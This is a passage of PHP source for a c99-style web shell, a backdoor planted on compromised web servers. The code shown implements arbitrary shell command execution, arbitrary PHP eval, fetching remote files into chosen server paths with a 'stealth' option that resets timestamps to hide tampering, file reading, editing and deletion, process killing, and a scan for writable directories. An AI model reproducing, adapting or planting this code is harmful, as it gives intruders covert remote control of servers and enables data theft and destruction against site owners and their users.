            if ($i > 0) {$b = "_".$i;}  
            $destin = "upload".$b;  
            $i++;  
          }  
        }  
      }  
      if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}  
      else {  
        $st = getmicrotime();  
        $content = @file_get_contents($uploadurl);  
        $dt = round(getmicrotime()-$st,4);  
        if (!$content) {$uploadmess .=  "Can't download file!";}  
        else {  
          if ($filestealth) {$stat = stat($uploadpath.$destin);}  
          $fp = fopen($uploadpath.$destin,"w");  
          if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}  
          else {  
            fwrite($fp,$content,strlen($content));  
            fclose($fp);  
            if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}  
            $uploadmess .= "File saved from ".$uploadurl." !";  
          }  
        }  
      }  
    }  
    else { echo "No file to upload!"; }  
  }  
  if ($miniform) {  
    echo "<b>".$uploadmess."</b>";  
    $act = "ls";  
  }  
  else {  
    echo "<table><tr><td colspan=2 class=barheader>".  
         ".: File Upload :.</td>".  
         "<td colspan=2>".$uploadmess."</td></tr>".  
         "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>".  
         "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".  
         "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".  
         "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".  
         "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".  
         "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".  
         "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".  
         "</form></td></tr></table>";  
  }  
}  
if ($act == "delete") {  
  $delerr = "";  
  foreach ($actbox as $v) {  
    $result = FALSE;  
    $result = fs_rmobj($v);  
    if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}  
  }  
  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}  
  $act = "ls";  
}  
if (!$usefsbuff) {  
  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";}  
}  
else {  
  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }  
  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}  
  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}  
  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}  
  elseif ($actpastebuff) {  
    $psterr = "";  
    foreach($sess_data["copy"] as $k=>$v) {  
      $to = $d.basename($v);  
      if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}  
      if ($copy_unset) {unset($sess_data["copy"][$k]);}  
    }  
    foreach($sess_data["cut"] as $k=>$v) {  
      $to = $d.basename($v);  
      if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}  
      unset($sess_data["cut"][$k]);  
    }  
    c99_sess_put($sess_data);  
    if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}  
    $act = "ls";  
  }  
  elseif ($actarcbuff) {  
    $arcerr = "";  
    if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}  
    else {$ext = ".tar.gz";}  
    if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}  
    $cmdline .= " ".$actarcbuff_path;  
    $objects = array_merge($sess_data["copy"],$sess_data["cut"]);  
    foreach($objects as $v) {  
      $v = str_replace("\",DIRECTORY_SEPARATOR,$v);  
      if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}  
      if (is_dir($v)) {  
        if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}  
        $v .= "*";  
      }  
      $cmdline .= " ".$v;  
    }  
    $tmp = realpath(".");  
    chdir($d);  
    $ret = myshellexec($cmdline);  
    chdir($tmp);  
    if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}  
    $ret = str_replace("
","
",$ret);  
    $ret = explode("
",$ret);  
    if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}  
    foreach($sess_data["cut"] as $k=>$v) {  
      if (in_array($v,$ret)) {fs_rmobj($v);}  
      unset($sess_data["cut"][$k]);  
    }  
    c99_sess_put($sess_data);  
    if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}  
    $act = "ls";  
  }  
  elseif ($actpastebuff) {  
    $psterr = "";  
    foreach($sess_data["copy"] as $k=>$v) {  
      $to = $d.basename($v);  
      if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}  
      if ($copy_unset) {unset($sess_data["copy"][$k]);}  
    }  
    foreach($sess_data["cut"] as $k=>$v) {  
      $to = $d.basename($v);  
      if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}  
      unset($sess_data["cut"][$k]);  
    }  
    c99_sess_put($sess_data);  
    if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}  
    $act = "ls";  
  }  
}  
if ($act == "cmd") {  
  @chdir($chdir);  
  if (!empty($submit)) {  
    echo "<div class=barheader>.: Result of Command Execution :.</div>";  
    $olddir = realpath(".");  
    @chdir($d);  
    $ret = myshellexec($cmd);  
    $ret = convert_cyr_string($ret,"d","w");  
    if ($cmd_txt) {  
      $rows = count(explode("
",$ret))+1;  
      if ($rows < 10) {$rows = 10; }  
      if ($msie) { $cols = 113; }  
      else { $cols = 117;}  
      //echo "<textarea cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>";  
      echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";  
    }  
    else {echo $ret."<br>";}  
    @chdir($olddir);  
  }  
  else {  
    echo "<b>Command Execution</b>";  
    if (empty($cmd_txt)) {$cmd_txt = TRUE;}  
  }  
}  
if ($act == "ls") {  
  if (count($ls_arr) > 0) { $list = $ls_arr; }  
  else {  
    $list = array();  
    if ($h = @opendir($d)) {  
      while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}  
      closedir($h);  
    }  
  }  
  if (count($list) == 0) { echo "<div class=yxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}  
  else {  
    $objects = array();  
    $vd = "f"; //Viewing mode  
    if ($vd == "f") {  
      $objects["head"] = array();  
      $objects["folders"] = array();  
      $objects["links"] = array();  
      $objects["files"] = array();  
      foreach ($list as $v) {  
        $o = basename($v);  
        $row = array();  
        if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}  
        elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}  
        elseif (is_dir($v)) {  
          if (is_link($v)) {$type = "LINK";}  
          else {$type = "DIR";}  
          $row[] = $v;  
          $row[] = $type;  
        }  
        elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}  
        $row[] = filemtime($v);  
        if (!$win) {  
          $ow = posix_getpwuid(fileowner($v));  
          $gr = posix_getgrgid(filegroup($v));  
          $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));  
        }  
        $row[] = fileperms($v);  
        if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}  
        elseif (is_link($v)) {$objects["links"][] = $row;}  
        elseif (is_dir($v)) {$objects["folders"][] = $row;}  
        elseif (is_file($v)) {$objects["files"][] = $row;}  
        $i++;  
      }  
      $row = array();  
      $row[] = "<b>Name</b>";  
      $row[] = "<b>Size</b>";  
      $row[] = "<b>Date Modified</b>";  
      if (!$win) {$row[] = "<b>Owner/Group</b>";}  
      $row[] = "<b>Perms</b>";  
      $row[] = "<b>Action</b>";  
      $parsesort = parsesort($sort);  
      $sort = $parsesort[0].$parsesort[1];  
      $k = $parsesort[0];  
      if ($parsesort[1] != "a") {$parsesort[1] = "d";}  
      $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";  
      $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";  
      $row[$k] .= $y;  
      for($i=0;$i<count($row)-1;$i++) {  
        if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}  
      }  
      $v = $parsesort[0];  
      usort($objects["folders"], "tabsort");  
      usort($objects["links"], "tabsort");  
      usort($objects["files"], "tabsort");  
      if ($parsesort[1] == "d") {  
        $objects["folders"] = array_reverse($objects["folders"]);  
        $objects["files"] = array_reverse($objects["files"]);  
      }  
      $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);  
      $tab = array();  
      $tab["cols"] = array($row);  
      $tab["head"] = array();  
      $tab["folders"] = array();  
      $tab["links"] = array();  
      $tab["files"] = array();  
      $i = 0;  
      foreach ($objects as $a) {  
        $v = $a[0];  
        $o = basename($v);  
        $dir = dirname($v);  
        if ($disp_fullpath) {$disppath = $v;}  
        else {$disppath = $o;}  
        $disppath = str2mini($disppath,60);  
        if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}  
        elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}  
        foreach ($regxp_highlight as $r) {  
          if (ereg($r[0],$o)) {  
            if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();}  
            else {  
              $r[1] = round($r[1]);  
              $isdir = is_dir($v);  
              if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {  
                if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}  
                $disppath = $r[2].$disppath.$r[3];  
                if ($r[4]) {break;}  
              }  
            }  
          }  
        }  
        $uo = urlencode($o);  
        $ud = urlencode($dir);  
        $uv = urlencode($v);  
        $row = array();  
        if ($o == ".") {  
          $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>";  
          $row[] = "CURDIR";  
        }  
        elseif ($o == "..") {  
          $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>";  
          $row[] = "UPDIR";  
        }  
        elseif (is_dir($v)) {  
          if (is_link($v)) {  
            $disppath .= " => ".readlink($v);  
            $type = "LINK";  
            $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>";  
          }  
          else {  
            $type = "DIR";  
            $row[] =  "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>";  
          }  
          $row[] = $type;  
        }  
        elseif(is_file($v)) {  
          $ext = explode(".",$o);  
          $c = count($ext)-1;  
          $ext = $ext[$c];  
          $ext = strtolower($ext);  
          $row[] =  "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>";  
          $row[] = view_size($a[1]);  
        }  
        $row[] = date("d.m.Y H:i:s",$a[2]);  
        if (!$win) {$row[] = $a[3];}  
        $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";  
        if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}  
        else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}  
        if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;}  
        else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}  
        if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}  
        elseif (is_link($v)) {$tab["links"][] = $row;}  
        elseif (is_dir($v)) {$tab["folders"][] = $row;}  
        elseif (is_file($v)) {$tab["files"][] = $row;}  
        $i++;  
      }  
    }  
    // Compiling table  
    $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);  
    echo "<div class=barheader>.: ";  
    if (!empty($yx_infohead)) { echo $yx_infohead; }  
    else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }  
    echo " :.</div>
";  
    echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".  
         "<table class=explorer>";  
    foreach($table as $row) {  
      echo "<tr>";  
      foreach($row as $v) {echo "<td>".$v."</td>";}  
      echo "</tr>
";  
    }  
    echo "</table>".  
         "<script>".  
         "function ls_setcheckboxall(status) {".  
         " var id = 1; var num = ".(count($table)-2).";".  
         " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".  
         "}".  
         "function ls_reverse_all() {".  
         " var id = 1; var num = ".(count($table)-2).";".  
         " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".  
         "}".  
         "</script>".  
         "<div align=\"right\">".  
         "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".  
         "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";  
    if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {  
      echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"yx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";  
    }  
    echo "<select name=act><option value=\"".$act."\">With selected:</option>";  
    echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";  
    echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";  
    if ($usefsbuff) {  
      echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";  
      echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";  
      echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";  
    }  
    echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";  
    echo "</form>";  
  }  
}  
if ($act == "tools") //Define Yourself  
{  

}  
if ($act == "phpfsys") {  
  echo "<div align=left>";  
  $fsfunc = $phpfsysfunc;  
  if ($fsfunc=="copy") {  
    if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...
";}  
    else { echo "<b>Success!</b> $arg1 copied to $arg2
"; }  
  }  
  elseif ($fsfunc=="rename") {  
    if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!
";}  
    else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2
"; }  
  }  
  elseif ($fsfunc=="chmod") {  
    if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!
";}  
    else { echo "<b>Perm for $arg1 changed to $arg2!</b>
"; }  
  }  
  elseif ($fsfunc=="read") {  
    $hasil = @file_get_contents($arg1);  
    echo "<b>Filename:</b> $arg1<br>";  
    echo "<textarea cols=150 rows=20>";  
    echo $hasil;  
    echo "</textarea>
";  
  }  
  elseif ($fsfunc=="write") {  
    if(@file_put_contents($d.$arg1,$arg2)) {  
      echo "<b>Saved!</b> ".$d.$arg1;  
    }  
    else { echo "<div class=yxerrmsg>Couldn't write to $arg1!</div>"; }  
  }  
  elseif ($fsfunc=="downloadbin") {  
    $handle = fopen($arg1, "rb");  
    $contents = '';  
    while (!feof($handle)) {  
      $contents .= fread($handle, 8192);  
    }  
    $r = @fopen($d.$arg2,'w');  
    if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }  
    else { echo "<div class=yxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }  
    fclose($r);  
    fclose($handle);  
  }  
  elseif ($fsfunc=="download") {  
    $text = implode('', file($arg1));  
    if ($text) {  
      $r = @fopen($d.$arg2,'w');  
      if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }  
      else { echo "<div class=yxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }  
      fclose($r);  
    }  
    else { echo "<div class=yxerrmsg>Couldn't download from $arg1!</div>";}  
  }  
  elseif ($fsfunc=='mkdir') {  
    $thedir = $d.$arg1;  
    if ($thedir != $d) {  
      if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }  
      elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }  
      else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}  
    }  
    else { echo "Couldn't create current dir:<b> $thedir</b>"; }  
  }  
  elseif ($fsfunc=='fwritabledir') {  
    function recurse_dir($dir,$max_dir) {  
      global $dir_count;  
      $dir_count++;  
      if( $cdir = @dir($dir) ) {  
        while( $entry = $cdir-> read() ) {  
          if( $entry != '.' && $entry != '..' ) {  
            if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {  
             if ($dir_count > $max_dir) { return; }  
              echo "[".$dir_count."] ".$dir.$entry."
";  
              recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);  
            }  
          }  
        }  
        $cdir->close();  
      }  
    }  
    if (!$arg1) { $arg1 = $d; }  
    if (!$arg2) { $arg2 = 10; }  
    echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";  
    echo "<pre>";  
    recurse_dir($arg1,$arg2);  
    echo "</pre>";  
    $total = $dir_count - 1;  
    echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2";  
  }  
  else {  
    if (!$arg1) { echo "<div class=yxerrmsg>No operation! Please fill parameter [A]!</div>
"; }  
    else {  
      if ($hasil = $fsfunc($arg1)) {  
        echo "<b>Result of $fsfunc $arg1:</b><br>";  
        if (!is_array($hasil)) { echo "$hasil
"; }  
        else {  
          echo "<pre>";  
          foreach ($hasil as $v) { echo $v."
"; }  
          echo "</pre>";  
        }  
      }  
      else { echo "<div class=yxerrmsg>$fsfunc $arg1 failed!</div>
"; }  
    }  
  }  
  echo "</div>
";  
}  
if ($act == "processes") {  
  echo "<div class=barheader>.: Processes :.</div>";  
  if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); }  
  else { $handler = "tasklist"; }  
  $ret = myshellexec($handler);  
  if (!$ret) { echo "Can't execute \"".$handler."\"!"; }  
  else {  
    if (empty($processes_sort)) {$processes_sort = $sort_default;}  
    $parsesort = parsesort($processes_sort);  
    if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}  
    $k = $parsesort[0];  
    if ($parsesort[1] != "a") {  
      $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>";  
    }  
    else {  
      $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";  
    }  
    $ret = htmlspecialchars($ret);  
    if (!$win) {  
      if ($pid) {  
        if (is_null($sig)) {$sig = 9;}  
        echo "Sending signal ".$sig." to #".$pid."... ";  
        if (posix_kill($pid,$sig)) {echo "OK.";}  
        else {echo "ERROR.";}  
      }  
      while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}  
      $stack = explode("
",$ret);  
      $head = explode(" ",$stack[0]);  
      unset($stack[0]);  
      for($i=0;$i<count($head);$i++) {  
        if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}  
      }  
      $prcs = array();  
      foreach ($stack as $line) {  
        if (!empty($line)) {  
          echo "<tr>";  
          $line = explode(" ",$line);  
          $line[10] = join(" ",array_slice($line,10));  
          $line = array_slice($line,0,11);  
          if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}  
          $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";  
          $prcs[] = $line;  
          echo "</tr>";  
        }  
      }  
    }  
    //For Windows - Fixed By s4l1ty_ 
    else {  
      while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}  
      while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}  
      $ret = convert_cyr_string($ret,"d","w");  
      $stack = explode("
",$ret);  
      unset($stack[0],$stack[2]);  
      $stack = array_values($stack);  
      $stack[0]=str_replace("Image Name","ImageName",$stack[0]);  
      $stack[0]=str_replace("Session Name","SessionName",$stack[0]);  
      $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);  
      $head = explode(" ",$stack[0]);  
      $stack = array_slice($stack,1);  
      $head = array_values($head);  
      if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }  
      else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; }  
      if ($k > count($head)) {$k = count($head)-1;}  
      for($i=0;$i<count($head);$i++) {  
        if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }  
      }  
      $prcs = array();  
      unset($stack[0]);  
      foreach ($stack as $line) {  
        if (!empty($line)) {  
          $line = explode(" ",$line);  
          $line[4] = str_replace(".","",$line[4]);  
          $line[4] = intval($line[4]) * 1024;  
          unset($line[5]);  
          $prcs[] = $line;  
        }  
      }  
    }  
    $head[$k] = "<b>".$head[$k]."</b>".$y;  
    $v = $processes_sort[0];  
    usort($prcs,"tabsort");  
    if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}  
    $tab = array();  
    $tab[] = $head;  
    $tab = array_merge($tab,$prcs);  
    echo "<table class=explorer>";  
    foreach($tab as $i=>$k) {  
      echo "<tr>";  
      foreach($k as $j=>$v) {  
        if ($win and $i > 0 and $j == 4) {$v = view_size($v);}  
        echo "<td>".$v."</td>";  
      }  
      echo "</tr>";  
    }  
    echo "</table>";  
  }  
}  
if ($act == "eval") {  
  if (!empty($eval)) {  
    echo "Result of execution this PHP-code:<br>";  
    $tmp = ob_get_contents();  
    $olddir = realpath(".");  
    @chdir($d);  
    if ($tmp) {  
      ob_clean();  
      eval($eval);  
      $ret = ob_get_contents();  
      $ret = convert_cyr_string($ret,"d","w");  
      ob_clean();  
      echo $tmp;  
      if ($eval_txt) {  
        $rows = count(explode("
",$ret))+1;  
        if ($rows < 10) {$rows = 10;}  
        echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";  
      }  
      else {echo $ret."<br>";}  
    }  
    else {  
      if ($eval_txt) {  
        echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";  
        eval($eval);  
        echo "</textarea>";  
      }  
      else {echo $ret;}  
    }  
    @chdir($olddir);  
  }  
  else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}  
  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";  
}  
if ($act == "f") {  
  echo "<div align=left>";  
  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {  
    if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}  
    else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}  
  }  
  else {  
    $r = @file_get_contents($d.$f);  
    $ext = explode(".",$f);  
    $c = count($ext)-1;  
    $ext = $ext[$c];  
    $ext = strtolower($ext);  
    $rft = "";  
    foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}  
    if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}  
    if (empty($ft)) {$ft = $rft;}  
    $arr = array(  
        array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),  
        array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),  
        array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),  
        array("Code","code"),  
        array("Session","phpsess"),  
        array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),  
        array("SDB","sdb"),  
        array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),  
        array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),  
        array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),  
        array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),  
        array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")  
    );  
    echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";  
    foreach($arr as $t) {  
      if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}  
      elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}  
      else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}  
      echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";  
    }  
    echo "<hr size=\"1\" noshade>";  
    if ($ft == "info") {  
      echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";  
      if (!$win) {  
        echo "<tr><td><b>Owner/Group</b></td><td> ";  
        $ow = posix_getpwuid(fileowner($d.$f));  
        $gr = posix_getgrgid(filegroup($d.$f));  
        echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));  
      }  
